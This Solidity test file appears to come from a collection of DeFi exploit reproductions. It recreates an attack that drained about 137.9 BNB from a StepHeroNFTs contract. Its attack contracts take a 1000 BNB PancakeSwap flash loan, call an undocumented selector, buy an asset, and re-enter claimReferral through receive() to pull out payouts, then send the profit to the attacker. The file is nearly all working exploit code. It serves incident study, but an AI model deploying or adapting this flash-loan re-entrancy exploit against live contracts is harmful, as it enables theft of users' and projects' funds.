src/test/2025-02/StepHeroNFTs_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 137.9 BNB
8// Original Attacker : https://bscscan.com/address/0xFb1cc1548D039f14b02cfF9aE86757Edd2CDB8A5
9// Attack Contract(Init) : https://bscscan.com/address/0xd4c80700ca911d5d3026a595e12aa4174f4cacb3
10// Attack Contract(Main) : https://bscscan.com/address/0xb4c32404de3367ca94385ac5b952a7a84b5bdf76
11// Attack Contract(Buyer) : https://bscscan.com/address/0x8f327e60fb2a7928c879c135453bd2b4ed6b0fe9
12// Vulnerable Contract : https://bscscan.com/address/0x9823E10A0bF6F64F59964bE1A7f83090bf5728aB
13// Attack Tx : https://bscscan.com/tx/0xef386a69ca6a147c374258a1bf40221b0b6bd9bc449a7016dbe5240644581877
14// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)
15 
16// Contracts involved
17address constant pancakeV3Pool = 0x172fcD41E0913e95784454622d1c3724f546f849;
18address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
19 
20address constant stepHeroNFTs = 0x9823E10A0bF6F64F59964bE1A7f83090bf5728aB;
21 
22contract StepHeroNFTs_exp is Test {
23    address attacker = makeAddr("attacker");
24 
25    function setUp() public {
26        vm.createSelectFork("bsc", 46843424 - 1);
27    }
28 
29    function testPoC() public {
30        vm.startPrank(attacker);
31 
32        new AttackerC(attacker);
33 
34        emit log_named_decimal_uint("Profit in BNB", attacker.balance, 18);
35    }
36}
37 
38contract AttackerC {
39    constructor (address to) {
40        AttackerC1 attC1 = new AttackerC1();
41        
42        attC1.attack(to);
43    }
44}
45 
46contract AttackerC1 {
47    function attack(address to) external {
48        Uni_Pair_V3(pancakeV3Pool).flash(
49            address(this),
50            0,
51            1000 ether,
52            abi.encode(to)
53        );
54    }
55 
56    function pancakeV3FlashCallback(
57        uint256 fee0,
58        uint256 fee1,
59        bytes calldata data
60    ) external {
61        uint256 loanAmount = IERC20(wbnb).balanceOf(address(this));
62        WETH(wbnb).withdraw(loanAmount);
63 
64        stepHeroNFTs.call(abi.encodeWithSelector(
65            bytes4(0xded4de3a), // ???
66            address(this),
67            2008, // id
68            6, // amount
69            6, // amount
70            loanAmount,
71            bytes32(0), // ???
72            block.timestamp, // expiry???
73            18766392275824 // ???
74        ));
75        
76        AttackerC2 attC2 = new AttackerC2();
77 
78        attC2.attack{value: loanAmount}();
79 
80        StepHeroNFTs(stepHeroNFTs).claimReferral(address(0));     
81 
82        IWETH(payable(wbnb)).deposit{value: loanAmount + fee1}();
83 
84        IERC20(wbnb).transfer(pancakeV3Pool, loanAmount + fee1);
85 
86        (address to) = abi.decode(data, (address));
87        payable(to).transfer(address(this).balance);
88    }
89 
90    function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes memory data) external {}
91 
92    receive() external payable {
93        if (msg.sender == stepHeroNFTs && msg.value == 3 ether) {
94            try StepHeroNFTs(stepHeroNFTs).claimReferral(address(0)) {
95            } catch {
96                return;
97            }
98        }
99    }
100}
101 
102contract AttackerC2 {
103    function attack() external payable {
104        StepHeroNFTs(stepHeroNFTs).buyAsset{value: 1000 ether}(81122, 1, msg.sender);
105    }
106}
107 
108interface StepHeroNFTs {
109    function buyAsset(uint256 _id, uint256 amount, address tokenBuyer) external payable;
110    function claimReferral(address) external;
111}